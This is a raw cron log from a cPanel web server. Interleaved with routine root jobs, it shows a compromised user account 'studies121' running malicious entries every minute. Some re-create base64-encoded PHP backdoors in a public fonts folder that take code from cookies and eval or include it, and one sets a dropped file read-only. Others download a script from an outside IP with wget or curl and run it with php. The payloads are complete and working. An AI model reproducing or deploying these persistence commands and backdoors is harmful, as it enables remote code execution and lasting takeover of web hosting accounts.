Sep 22 13:55:01 ip-184-168-122-23 CROND[27414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:55:01 ip-184-168-122-23 CROND[27415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:55:01 ip-184-168-122-23 CROND[27416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:55:01 ip-184-168-122-23 CROND[27422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:56:01 ip-184-168-122-23 CROND[28083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:56:01 ip-184-168-122-23 CROND[28082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:56:01 ip-184-168-122-23 CROND[28085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:56:01 ip-184-168-122-23 CROND[28088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:56:01 ip-184-168-122-23 CROND[28089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:57:01 ip-184-168-122-23 CROND[28655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:57:01 ip-184-168-122-23 CROND[28656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:57:01 ip-184-168-122-23 CROND[28657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:57:01 ip-184-168-122-23 CROND[28658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:58:01 ip-184-168-122-23 CROND[29181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:58:01 ip-184-168-122-23 CROND[29183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:58:01 ip-184-168-122-23 CROND[29185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:58:01 ip-184-168-122-23 CROND[29187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:58:01 ip-184-168-122-23 CROND[29186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:59:01 ip-184-168-122-23 CROND[29693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:59:01 ip-184-168-122-23 CROND[29695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:59:01 ip-184-168-122-23 CROND[29698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:59:01 ip-184-168-122-23 CROND[29699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30049]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:00:01 ip-184-168-122-23 CROND[30055]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 14:00:01 ip-184-168-122-23 CROND[30060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:00:01 ip-184-168-122-23 CROND[30068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:01:02 ip-184-168-122-23 CROND[30494]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 14:01:02 ip-184-168-122-23 CROND[30495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:01:02 ip-184-168-122-23 CROND[30497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:01:02 ip-184-168-122-23 CROND[30501]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 14:01:02 ip-184-168-122-23 CROND[30500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:01:02 ip-184-168-122-23 CROND[30511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30494]: starting 0anacron
Sep 22 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30525]: finished 0anacron
Sep 22 14:02:01 ip-184-168-122-23 CROND[30851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:02:01 ip-184-168-122-23 CROND[30853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:02:01 ip-184-168-122-23 CROND[30855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:02:01 ip-184-168-122-23 CROND[30854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:02:01 ip-184-168-122-23 CROND[30856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:03:01 ip-184-168-122-23 CROND[32191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:03:01 ip-184-168-122-23 CROND[32194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:03:01 ip-184-168-122-23 CROND[32196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:03:01 ip-184-168-122-23 CROND[32197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:04:01 ip-184-168-122-23 CROND[32376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:04:01 ip-184-168-122-23 CROND[32378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:04:01 ip-184-168-122-23 CROND[32379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:04:01 ip-184-168-122-23 CROND[32380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:04:01 ip-184-168-122-23 CROND[32382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:05:01 ip-184-168-122-23 CROND[32550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:05:02 ip-184-168-122-23 CROND[32553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:05:02 ip-184-168-122-23 CROND[32557]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 14:05:02 ip-184-168-122-23 CROND[32559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:05:02 ip-184-168-122-23 CROND[32561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:05:02 ip-184-168-122-23 CROND[32565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:05:02 ip-184-168-122-23 CROND[32564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:06:01 ip-184-168-122-23 CROND[398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:06:01 ip-184-168-122-23 CROND[402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:06:01 ip-184-168-122-23 CROND[401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:06:01 ip-184-168-122-23 CROND[403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:06:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:07:01 ip-184-168-122-23 CROND[582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:07:01 ip-184-168-122-23 CROND[583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:07:01 ip-184-168-122-23 CROND[585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
